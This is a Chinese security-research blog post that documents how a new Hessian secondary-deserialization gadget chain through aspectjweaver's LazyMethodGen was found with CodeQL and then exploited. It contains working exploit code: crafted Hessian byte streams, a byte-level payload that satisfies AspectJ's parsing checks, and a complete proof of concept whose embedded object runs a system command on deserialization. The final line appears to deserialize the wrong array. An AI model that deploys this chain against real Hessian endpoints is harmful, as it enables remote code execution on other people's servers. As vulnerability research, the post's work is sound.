Hessian 二次反序列化新链从零到一挖掘
记录一条新的hessian二次反序列化链的完整分析过程
前言
Hessian反序列化是一个奇妙而又神奇的东西,当你回头想起他,或许你就会有意想不到的惊喜
前置知识
前置知识是为了引导后续通过codeql查询从source点到sink的调用链以及实现触发反序列化实现二次反序列化做铺垫说明
依赖导入
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>hessian与原生反序列化的差异
在传统意义上的序列化中,判断一个类是否可以序列化主要看该类是否实现了serializable接口,但是在Hessian中有些许改变
在SerializerFactory#getDefaultSerializer方法里面还设置了一个_isAllowNonSerializable变量来进行判断
而这个属性又可以通过SerializerFactory#setAllowNonSerializable 方法将其设置为 true,这样就实现了任意类序列化,反序列也应该也是一样,这样做出现了更多可能,但是也并非所有都可以
因为hessian常见的几个利用sink点就是:通过HashMap/HashSet-->hashCode()/equals(),再进行进一步实现调用,或者通过TreeMap/TreeSet-->compareTo()或者compare()方法实现触发,再者通过将对象被当作字符串进行拼接隐藏触发toString()等等,下面对几个sink点进行简要分析以及说明如何触发
Source点概要说明
首先最为常见的就是通过HashMap/HashSet-->hashCode(),对于这个的应用从cc链开始就已经有应用了,这里分两种触发方式其中包括直接走原生类,另外一个走伪造标识符实现触发,因为两者效果其实相同但利用有些许差异,而hessian1与2协议在标识伪造方面还存在一些不同,在hessian1的协议中直接可以通过反序列hashMap触发key的hashCode的方法
public static byte[] HessionSerialize(Object oos) throws Exception{
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bao);
hessianOutput.writeObject(oos);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static Object HessionDeserialize(byte[] oos) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(oos);
HessianInput hessianInput = new HessianInput(bais);
Object obj = hessianInput.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
HashMap a=new HashMap();
HashMap b=new HashMap();
a.put(b,"a");
byte[] bytes = HessionSerialize(a);
HessionDeserialize(bytes);
}下面逐步跟进一下调用链,跟进hessian1中的readobject方法中,会将反序列化的对象解析为一个map,后续走一个map的Deserializer反序列化器
多跟进一步readMap方法,来到MapDeserializer::readMap,跟进put就走到我们熟悉的hash方法里面最后就是hashCode方法
通过手工伪造标识符实现调用触发首先我们可以通过本地构造一个test类用于
import java.util.Objects;
public class test {
public int hashCode() {
System.out.println("hashCode被触发了");
return 1;
}
}两个版本分别手工构造如下
//hessian1
public static byte[] HessionSerialize_1() throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write('M');
bos.write('t');
bos.write(0x00); bos.write(0x00);
bos.write('M');
bos.write('t');
String className = "test";
bos.write(0x00);
bos.write(className.length());
bos.write(className.getBytes("UTF-8"));
bos.write('z');
bos.write('S');
bos.write(0x00); bos.write(0x01);
bos.write('a');
bos.write('z');
return bos.toByteArray();
}而在hessian2如下,其实回头看去调用栈并没有发生变化而好处是我们可以指定其通过哪种Deserializer来实现反序列化最后触发我们想要的方法,而两个协议字节标识符位置差异在其readObject中体现,这个就不继续跟进了
public static byte[] Hession2Serialize_1() throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write('H');
bos.write('C');
bos.write(0x04);
bos.write("test".getBytes("UTF-8"));
bos.write(0x90);
bos.write('O');
bos.write(0x90);
bos.write(0x01);
bos.write("a".getBytes("UTF-8"));
bos.write('Z');
return bos.toByteArray();
}TreeMap/TreeSet-->compareTo()或者compare()方法实现触发本质上其实也没有太大的区别只是也是如果MapDeserializer::readMap走到TreeMap.put方法中最后看是否传入了Comparator 对象走下面的逻辑,依旧通过伪造标识符实现调用,这个有个好处我们也不需要通过反射避免提取触发payload
有 Comparator: comparator.compare(key, existingKey)
无 Comparator: ((Comparable)key).compareTo(existingKey)测试类添加compareTo方法
public class test implements Comparable<test> {
public int hashCode() {
System.out.println("hashCode被触发了");
return 1;
}
public int compareTo(test other) {
System.out.println("[!] compareTo 被触发");
return 0;
}
}下面分别给出手动构造标识符的payload
//hessian1 compare
public static byte[] HessionSerialize_2() throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write('M');
bos.write('t');
String type = "java.util.TreeMap";
bos.write(0x00);
bos.write(type.length());
bos.write(type.getBytes("UTF-8"));
bos.write('M');
bos.write('t');
String className = "test";
bos.write(0x00);
bos.write(className.length());
bos.write(className.getBytes("UTF-8"));
bos.write('z');
bos.write('S');
bos.write(0x00); bos.write(0x01);
bos.write('a');
bos.write('M');
bos.write('t');
bos.write(0x00);
bos.write(className.length());
bos.write(className.getBytes("UTF-8"));
bos.write('z');
bos.write('S');
bos.write(0x00); bos.write(0x01);
bos.write('b');
bos.write('z');
return bos.toByteArray();
}//hessian2 compare
public static byte[] Hession2Serialize_2() throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write('M');
String type = "java.util.TreeMap";
bos.write(type.length());
bos.write(type.getBytes("UTF-8"));
bos.write('C');
String className = "test";
bos.write(className.length());
bos.write(className.getBytes("UTF-8"));
bos.write(0x90);
bos.write('O');
bos.write(0x90);
bos.write(0x01);
bos.write("a".getBytes("UTF-8"));
bos.write('O');
bos.write(0x90);
bos.write(0x01);
bos.write("b".getBytes("UTF-8"));
bos.write('Z');
return bos.toByteArray();
}调用栈如下
最后一个触发隐性toString的方法,主要通过Hessian2 在反序列化过程中遇到协议解析错误或类型不匹配时,错误处理代码中存在字符串拼接操作,从而会对已经实例化的对象隐式调用
生成的字节流前两位为标识符,手动插入的字符C会导致类名字符串的长度错乱,最终导致无法正确继续解析在异常处理 / 类型转换过程中,对已部分解析出的对象做字符串拼接 → 隐式调用 obj.toString()
最终的序列化方法如下
public static byte[] Hessian2Serialize_3(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write(67);
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}过程分析
实现会解析我们写入的C字节标识
走到Hessian2Input::readObjectDefinition方法里面,最终在Hessian2Input::readString方法中由于长度错乱导致进行expect处理触发toString方法
调用链栈如下
新二次反序列化利用链构建codeql数据库查询全思路
新的二次反序列化利用链来源于aspectjweaver依赖,该依赖主要用于在 Java 应用中实现 AOP编程
maven导入依赖如下
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.7</version>
</dependency>codeql搭建安装教程可以参考下面的文章
https://stoocea.github.io/post/CodeQL%E5%AD%A6%E4%B9%A0.html
先搭建好codeql语法数据库,codeql语法数据库是通过拦截编译过程构建AST语法树,所以需要处理一下jar包变为源代码,下面通过终端命令行的方式一步一步构建数据库
创建一个存放源码的目录
//创建一个存放源码的目录
mkdir -p ~/test/codeql_test/aspectj-source-project/src/main/java创建 pom.xml到~/test/codeql_test/aspectj-source-project目录下
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.test</groupId>
<artifactId>aspectj-source-analysis</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.7</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjrt</artifactId>
<version>1.9.7</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<failOnError>false</failOnError>
<fork>true</fork>
<compilerArgs>
<arg>-XDignore.symbol.file</arg>
<arg>-nowarn</arg>
<arg>-proc:none</arg>
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>
</project>下载源码 jar 并解压到项目中
mvn dependency:sources -q
cd ~/test/codeql_test/aspectj-source-project
jar -xf ~/.m2/repository/org/aspectj/aspectjweaver/1.9.7/aspectjweaver-1.9.7-sources.jar -C src/main/java/ .构建 CodeQL 数据库(-fn 容忍编译错误)
cd ~/test/codeql_test/aspectj-source-project
codeql database create ../codeql-db-src --language=java --command="mvn clean compile -q -fn" --overwrite下载 CodeQL 标准库
cd ~/test/codeql_test
curl -sL "https://github.com/github/codeql/archive/refs/tags/codeql-cli/v2.23.9.tar.gz" -o codeql-stdlib.tar.gz
tar -xzf codeql-stdlib.tar.gz创建查询项目
REPO=~/test/codeql_test/codeql-codeql-cli-v2.23.9
mkdir -p $REPO/custom-queries
cat > $REPO/custom-queries/qlpack.yml << 'EOF'
name: custom/gadget-chain
version: 0.0.1
dependencies:
codeql/java-all: ${workspace}
EOF
sed -i '' '/^versionPolicies:/i\
- "custom-queries/qlpack.yml"
' $REPO/codeql-workspace.yml最后就可以实现链子的查询了
hessian的二次反序列化链查找是不需要类继承Serializable接口,所以更多是对source到sink的构建以及链子是否可以真正实现
通过下面的ql语句我们查找从toString方法出发到sink点的查询
import java
predicate directCall(Method caller, Method callee) {
exists(MethodCall ma |
ma.getEnclosingCallable() = caller and
ma.getMethod() = callee
)
}
Method callStep(Method m) {
directCall(m, result)
}
from Method src, Method sink
where
src.hasName("toString") and
src.getNumberOfParameters() = 0 and
src.fromSource() and
sink = callStep+(src) and
(sink.hasName("readObject") or sink.hasName("invoke") or
sink.hasName("exec") or sink.hasName("newInstance") or
sink.hasName("forName") or sink.hasName("getMethod"))
select
src.getDeclaringType().getQualifiedName(),
sink.getDeclaringType().getQualifiedName(),
sink.getName()
QLEOFcd ~/test/codeql_test && codeql query run \
--database=./codeql-db-src \
--search-path=./codeql-codeql-cli-v2.23.9 \
$REPO/custom-queries/ToStringReach.ql运行ql语句发现其中存在一个最终可以触发到ObjectInputStream::readObject的完美链子
而反观通过查询语句查看hashCode方法的调用链时确没有
import java
predicate directCall(Method caller, Method callee) {
exists(MethodCall ma |
ma.getEnclosingCallable() = caller and
ma.getMethod() = callee
)
}
Method callStep(Method m) {
directCall(m, result)
}
from Method src, Method sink
where
src.hasName("hashCode") and
src.getNumberOfParameters() = 0 and
src.fromSource() and
sink = callStep+(src) and
(sink.hasName("readObject") or sink.hasName("invoke") or
sink.hasName("exec") or sink.hasName("newInstance") or
sink.hasName("forName") or sink.hasName("getMethod")) and
sink.getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream")
select
src.getDeclaringType().getQualifiedName() as sourceClass,
sink.getDeclaringType().getQualifiedName() + "." + sink.getName() as sinkMethod下面继续构建ql语句实现获取完整的从toString方法到ObjectInputStream::readObject方法的链子,确定调用链的深度,整个调用链为9的深度
import java
predicate directCall(Method caller, Method callee) {
exists(MethodCall ma |
ma.getEnclosingCallable() = caller and
ma.getMethod() = callee
)
}
predicate reachableIn(Method src, Method dst, int depth) {
directCall(src, dst) and depth = 1
or
exists(Method mid |
directCall(src, mid) and
reachableIn(mid, dst, depth - 1) and
depth in [2 .. 10]
)
}
from Method src, Method sink, int d
where
src.hasName("toString") and
src.getDeclaringType().hasQualifiedName("org.aspectj.weaver.bcel", "LazyMethodGen") and
sink.hasName("readObject") and
sink.getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream") and
reachableIn(src, sink, d)
select d
QLEOF最后就是获取具体调用链了
import java
predicate directCall(Method caller, Method callee) {
exists(MethodCall ma |
ma.getEnclosingCallable() = caller and
ma.getMethod() = callee
)
}
from Method m0, Method m1, Method m2, Method m3, Method m4, Method m5, Method m6, Method m7, Method m8, Method m9
where
m0.hasName("toString") and
m0.getDeclaringType().hasQualifiedName("org.aspectj.weaver.bcel", "LazyMethodGen") and
directCall(m0, m1) and directCall(m1, m2) and directCall(m2, m3) and
directCall(m3, m4) and directCall(m4, m5) and directCall(m5, m6) and
directCall(m6, m7) and directCall(m7, m8) and directCall(m8, m9) and
m9.hasName("readObject") and
m9.getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream")
select
m0.getDeclaringType().getName() + "." + m0.getName() as s0,
m1.getDeclaringType().getName() + "." + m1.getName() as s1,
m2.getDeclaringType().getName() + "." + m2.getName() as s2,
m3.getDeclaringType().getName() + "." + m3.getName() as s3,
m4.getDeclaringType().getName() + "." + m4.getName() as s4,
m5.getDeclaringType().getName() + "." + m5.getName() as s5,
m6.getDeclaringType().getName() + "." + m6.getName() as s6,
m7.getDeclaringType().getName() + "." + m7.getName() as s7,
m8.getDeclaringType().getName() + "." + m8.getName() as s8,
m9.getDeclaringType().getName() + "." + m9.getName() as s9
QLEOF最终的调用链提取结果如下
| LazyMethodGen.toString | LazyMethodGen.toLongString | LazyMethodGen.print | LazyMethodGen.printAspectAttributes | Utility.readAjAttributes | AjAttribute.read | ResolvedTypeMunger.read | NewMethodTypeMunger.readMethod | ResolvedTypeMunger.readSourceLocation | ObjectInputStream.readObject |
| LazyMethodGen.toString | LazyMethodGen.toLongString | LazyMethodGen.print | LazyMethodGen.printAspectAttributes | Utility.readAjAttributes | AjAttribute.read | ResolvedTypeMunger.read | NewFieldTypeMunger.readField | ResolvedTypeMunger.readSourceLocation | ObjectInputStream.readObject |
| LazyMethodGen.toString | LazyMethodGen.toLongString | LazyMethodGen.print | LazyMethodGen.printAspectAttributes | Utility.readAjAttributes | AjAttribute.read | ResolvedTypeMunger.read | NewConstructorTypeMunger.readConstructor | ResolvedTypeMunger.readSourceLocation | ObjectInputStream.readObject |
| LazyMethodGen.toString | LazyMethodGen.toLongString | LazyMethodGen.print | LazyMethodGen.printAspectAttributes | Utility.readAjAttributes | AjAttribute.read | ResolvedTypeMunger.read | NewMemberClassTypeMunger.readInnerClass | ResolvedTypeMunger.readSourceLocation | ObjectInputStream.readObject |整理一下后就得到下面的调用关系
LazyMethodGen.toString
→ LazyMethodGen.toLongString
→ LazyMethodGen.print
→ LazyMethodGen.printAspectAttributes
→ Utility.readAjAttributes
→ AjAttribute.read
→ ResolvedTypeMunger.read
→ NewMethodTypeMunger.readMethod ─┐
→ NewFieldTypeMunger.readField │─→ ResolvedTypeMunger.readSourceLocation
→ NewConstructorTypeMunger.readConstructor│ → ObjectInputStream.readObject()
→ NewMemberClassTypeMunger.readInnerClass ─┘新二次反序列化链完整复现
依托通过codeql查询出来的调用链,一步一步构建与试错看是否可以走到新的sink点,以及参数是否可控
首先先来分析一下有关LazyMethodGen类的信息,首先它没有实现Serializable接口或者继承可序列化的类,其次它重构了多个构造方法后续可以参考那个简单构建就用哪个
这里推荐通过,只需要构造两个参数,先创建触发debug跟进一下链子,如果后续链子出现条件再进行更改,这里的LazyClassGen继续查看如何实现实例化的
public LazyMethodGen(Method m, LazyClassGen enclosingClass) {
savedMethod = m;
this.enclosingClass = enclosingClass;
if (!(m.isAbstract() || m.isNative()) && m.getCode() == null) {
throw new RuntimeException("bad non-abstract method with no code: " + m + " on " + enclosingClass);
}
if ((m.isAbstract() || m.isNative()) && m.getCode() != null) {
throw new RuntimeException("bad abstract method with code: " + m + " on " + enclosingClass);
}
this.memberView = new BcelMethod(enclosingClass.getBcelObjectType(), m);
this.originalMethodHasLocalVariableTable = savedMethod.getLocalVariableTable()!=null;
this.modifiers = m.getModifiers();
this.name = m.getName();
if (memberView != null && isAdviceMethod()) {
if (enclosingClass.getType().isAnnotationStyleAspect()) {
// TODO we could check for @Around advice as well
this.canInline = false;
}
}
}它需要传入一个BcelObjectType对象,继续查找如何实例化即可,这里看到其继承了AbstractReferenceTypeDelegate类,下面就换个方式通过AspectJ 内部 API实现创建
最终实例化LazyMethodGen类代码如下:
public static void main(String[] args) throws Exception {
ClassLoaderRepository repo = new ClassLoaderRepository(test.class.getClassLoader());
JavaClass javaClass = repo.loadClass("java.lang.Object");
Method[] methods = javaClass.getMethods();
BcelWorld world = new BcelWorld("java.class.path");
ReferenceType type = (ReferenceType) world.resolve(UnresolvedType.forName("java.lang.Object"));
BcelObjectType bot = (BcelObjectType) type.getDelegate();
LazyClassGen lazyClassGen = new LazyClassGen(bot);
Method method = methods[0];
LazyMethodGen lazyMethodGen = new LazyMethodGen(method, lazyClassGen);
byte[] bytes = Hessian2Serialize_3(lazyMethodGen);
Hession2Deserialize(bytes);
}下面开始逐步分析从toString到readObject方法的调用,在LazyMethodGen::toString方法中又调用了toLongString方法
继续跟进toLongString方法中按照上面查询的结果看,需要让其进入print方法中,目前并没有需要满足其他条件,一路到达LazyMethodGen::print方法中,继续跟进print到达printAspectAttributes方法,这里还未出现分水岭可以一路跟进
而当我们跟进到Utility::readAjAttributes方法中后发现并未按我们的预期进入AjAttribute.read方法中,源于我们未控制前面的attributes属性的传入,这里需要通过反射对其负值一下,先查看一下这里的代码处理逻辑
这里调用时会将传入的 Attribute 数组遍历获取并且将满足instanceof Unknown 先强转为 Unknown 类型
List<AjAttribute> as = Utility.readAjAttributes(getClassName(), attributes.toArray(new Attribute[] {}), context, null, weaverVersion,
new BcelConstantPoolReader(this.enclosingClass.getConstantPool()));然后调用 Unknown .getBytes() 来获取这个 Unknown 对象的字节流,而这个又是直接传入Unknown的bytes属性,所以我们就需要创建一个恶意的bytes字节流用于后续最终的反序列化,通过控制Attribute 数组传入
AjAttribute attr = AjAttribute.read(version, name, a.getBytes(), context, w, dataDecompressor);继续跟进AjAttribute::read方法中这里有一个判断需要name满足equals某个特殊值才可以触发到想要的ResolvedTypeMunger::read利用链里面,name依旧可以通过构造Unknown 对象控制
下面就是分析跟进到ResolvedTypeMunger::read方法中,它需要满足Kind的值,而传入的VersionedDataInputStream对象溯源发现也是LazyMethodGen的weaverVersion属性值
跟进发现其只读取一个byte值为1或者2或者11、12才可以,而且1后续处理逻辑都是一样的,下面就拿其中的1为例子跟进NewFieldTypeMunger::readField方法查看
在NewFieldTypeMunger::readField方法中想要调用到最终的NewFieldTypeMunger::readSourceLocation方法实现二次反序列化还需要经过几个方法的提炼
public static ResolvedTypeMunger readField(VersionedDataInputStream s, ISourceContext context) throws IOException {
ISourceLocation sloc = null;
ResolvedMember fieldSignature = ResolvedMemberImpl.readResolvedMember(s, context);
Set superMethodsCalled = readSuperMethodsCalled(s);
sloc = readSourceLocation(s);
List aliases = readInTypeAliases(s);
NewFieldTypeMunger munger = new NewFieldTypeMunger(fieldSignature, superMethodsCalled, aliases);继续跟进ResolvedMemberImpl::readResolvedMember与ResolvedMemberImpl::readSuperMethodsCalled方法中,这里有许多的读取操作
MemberKind::read仅读取一个字节
接下来 s.isAtLeast169() 判断版本是不是 ≥ 1.6.9 ,若是则读取一个 boolean,实际上 s.isAtLeast169() 最终是获取了一个 major_version 并判断它是不是大于 7 ,这里的比较结果compressed值对是后续调用ResolvedTypeMunger::readSourceLocation中存在一个判断需要其值为false
接下来UnresolvedType::read,通过readUTF读字节
s.readBoolean() //读取一个字节
UnresolvedType.read(s) //2 + N内部调 s.readUTF(),2 字节长度 + N 字节 UTF-8(declaringType 签名)
s.readInt() //4
s.readUTF() //2 + Nname
s.readUTF() //2 + Nsignature
UnresolvedType.readArray(s) //2 + 每项 (2+N) 先 readShort 读数组长度,再逐项 UnresolvedType.read(s)(checkedExceptions)
s.readInt() //读取4个字节
s.readInt() //读取4个字节除了上面的字节读取外,还有一个需要满足的条件,就是在UnresolvedType读取字节流的签名时不能为@missing@,后续可能会因此报错,所以最好改为比较常用的类型及Ljava/lang/String
public static final String MISSING_NAME = "@missing@";完成上面字节读取分析就可以到最终的环节了,调用ResolvedTypeMunger::readSourceLocation这里需要s.getMajorVersion()<2
而回过去发现s的tMajorVersion值是通过AjAttribute::read方法设置的,也就是AjAttribute.WeaverVersionInfo的属性值
完成所有条件后就可以实现二次反序列化我们的恶意类了
需要构造的字节流如下
new byte[]{1, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};[0]: ResolvedTypeMunger.Kind 设置为 Field [1]: MemberKind 设置为 METHOD [2-21]: declaringType 设置为 Ljava/lang/Object; [22-25]: modifiers 设置为 public [26-37]: name 设置为 testMethod [38-42]: signature 设置为 ()V [43-44]: m.checkedExceptions 设置为 0 [45-48]: m.start 设置为 0 [49-52]: m.end 设置为 0
最终的调用链如下,这里的只需要修改test1类为所需二次反序列化的恶意对象即可
这里的test1为了演示是直接搞了一个readObject方法
public class test1 implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("open -a Calculator");
}
}public static void main(String[] args) throws Exception {
ClassLoaderRepository repo = new ClassLoaderRepository(test.class.getClassLoader());
JavaClass javaClass = repo.loadClass("java.lang.Object");
Method[] methods = javaClass.getMethods();
BcelWorld world = new BcelWorld("java.class.path");
ReferenceType type = (ReferenceType) world.resolve(UnresolvedType.forName("java.lang.Object"));
BcelObjectType bot = (BcelObjectType) type.getDelegate();
Class<?> botClass = Class.forName("org.aspectj.weaver.bcel.BcelObjectType");
java.lang.reflect.Method getWeaverVersionAttribute = botClass.getDeclaredMethod("getWeaverVersionAttribute");
getWeaverVersionAttribute.setAccessible(true);
Object wvInfo = getWeaverVersionAttribute.invoke(bot);
if (wvInfo != null) {
Field majorVersionField = wvInfo.getClass().getDeclaredField("major_version");
majorVersionField.setAccessible(true);
majorVersionField.setShort(wvInfo, (short) 2);
System.out.println("Forced WeaverVersionInfo major_version to: " + majorVersionField.getShort(wvInfo));
}
LazyClassGen lazyClassGen = new LazyClassGen(bot);
Method method = methods[0];
LazyMethodGen lazyMethodGen = new LazyMethodGen(method, lazyClassGen);
lazyMethodGen.getAnnotations();
Class<? extends LazyMethodGen> lazyMethodGenClass = lazyMethodGen.getClass();
Field attributesField = lazyMethodGenClass.getDeclaredField("attributes");
attributesField.setAccessible(true);
List<Attribute> attributes = new ArrayList<>();
ConstantPool cp = javaClass.getConstantPool();
Constant[] constants = new Constant[cp.getLength() + 1];
for (int i = 0; i < cp.getLength(); i++) {
constants[i] = cp.getConstant(i);
}
constants[cp.getLength()] = new ConstantUtf8("org.aspectj.weaver.TypeMunger");
ConstantPool newCp = new ConstantPool(constants);
// Construct prefix bytes
byte[] memberBytes = new byte[]{
1, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0
};
test1 test1 = new test1();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(test1);
oos.close();
byte[] objectBytes = baos.toByteArray();
// Combine arrays
byte[] bytes = new byte[memberBytes.length + objectBytes.length];
System.arraycopy(memberBytes, 0, bytes, 0, memberBytes.length);
System.arraycopy(objectBytes, 0, bytes, memberBytes.length, objectBytes.length);
Unknown unknown = new Unknown(cp.getLength(), bytes.length, bytes, newCp);
attributes.add(unknown);
attributesField.set(lazyMethodGen, attributes);
byte[] data = Hessian2Serialize_3(lazyMethodGen);
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
Hession2Deserialize(bytes);
}后记
该篇文章主要记录了一条由aspectjweaver依赖引起的全新二次反序列化利用链,熟练使用工具,以及整合内容与耐心是关键,最后特别感谢@妙尽璇机师傅的耐心指导
参考
https://stoocea.github.io/post/CodeQL%E5%AD%A6%E4%B9%A0.html
https://su18.org/post/hessian/#%E5%85%B6%E5%AE%83%E5%88%A9%E7%94%A8%E9%93%BE